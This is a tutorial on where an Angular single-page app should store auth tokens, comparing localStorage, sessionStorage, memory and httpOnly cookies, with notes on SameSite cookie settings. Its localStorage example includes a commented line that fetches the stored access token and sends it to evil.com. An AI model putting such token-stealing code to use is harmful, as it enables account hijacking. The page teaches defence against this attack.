Secure Token Storage — Memory vs localStorage vs httpOnly Cookies

Token storage is the most consequential security decision in an Angular SPA. The wrong choice creates vulnerabilities that cannot be fixed by code elsewhere in the application. The fundamental constraint: anything readable by JavaScript is vulnerable to XSS. The goal is to minimise what JavaScript can access — ideally, nothing that could be used to make authenticated API requests on the user’s behalf.

Storage Options and Their Security Properties #

// ── ❌ OPTION 1: localStorage — convenient but XSS-vulnerable ─────────────
localStorage.setItem('access_token', token);
// ANY JavaScript on the page can read this:
// <script src="https://evil.com/xss.js"></script>
// → fetch('https://evil.com/steal?token=' + localStorage.getItem('access_token'))
// This steals the token and can make API calls as the victim user.
// Never store tokens in localStorage.

// ── ❌ OPTION 2: sessionStorage — same XSS vulnerability ──────────────────
sessionStorage.setItem('access_token', token);
// Same vulnerability as localStorage — JavaScript can read sessionStorage.
// The only difference: cleared on tab close. Still XSS-vulnerable.

// ── ✅ OPTION 3: Memory (Angular Signal) — XSS-safe but cleared on refresh ─
private _accessToken = signal<string | null>(null);
// JavaScript from OTHER origins cannot access Angular's internal signals.
// Same-origin XSS (injected script running on your page) CAN read JavaScript
// memory, but this requires a successful XSS attack AND specific targeting.
// Much safer than localStorage. Downside: lost on page refresh.

// ── ✅ OPTION 4: httpOnly Cookie — strongest protection ────────────────────
// Set by the SERVER in the HTTP response — Angular never sees the value:
// Set-Cookie: refreshToken=xxx; HttpOnly; Secure; SameSite=Strict; Path=/api/auth
// HttpOnly: JavaScript CANNOT read or modify this cookie (document.cookie omits it)
// Secure: only sent over HTTPS
// SameSite=Strict: only sent for same-site requests (CSRF protection)

// ── RECOMMENDED COMBINATION ───────────────────────────────────────────────
// Access token:  In-memory Signal (XSS-safe, short-lived, lost on refresh)
// Refresh token: httpOnly cookie (XSS-safe, survives refresh, CSRF-protected)

// ── SameSite Cookie Attribute Guide ──────────────────────────────────────
// SameSite=Strict: Cookie NEVER sent with cross-site requests
//   ✅ Best CSRF protection
//   ⚠️  Cookie not sent when user follows a link from external site
//       (user must log in again after clicking a Google result)
//
// SameSite=Lax (default in modern browsers): Cookie sent for top-level navigation GET
//   ✅ Good CSRF protection (blocks cross-site POST/PUT/DELETE)
//   ✅ Cookie sent when user follows a link (better UX than Strict)
//   ⚠️  Still requires Secure flag and HttpOnly
//
// SameSite=None: Cookie sent for all requests (including cross-site)
//   ❌ No CSRF protection — only use for third-party cookies
//   ⚠️  Requires Secure flag (HTTPS only)
//   ⚠️  Not appropriate for auth cookies

Token Storage Security Matrix #

Common Mistakes #

Mistake 1 — Storing access tokens in localStorage (XSS vulnerability) #

❌ Wrong — any XSS attack can extract the token and make authenticated API calls as the user indefinitely.

✅ Correct — store access tokens in memory (Signal); use httpOnly cookies for refresh tokens.

Mistake 2 — Setting SameSite=None on auth cookies without understanding CSRF implications #

❌ Wrong — SameSite=None allows any website to make requests with the auth cookie included.

✅ Correct — use SameSite=Strict or SameSite=Lax for auth cookies; add CSRF token headers if additional protection is needed.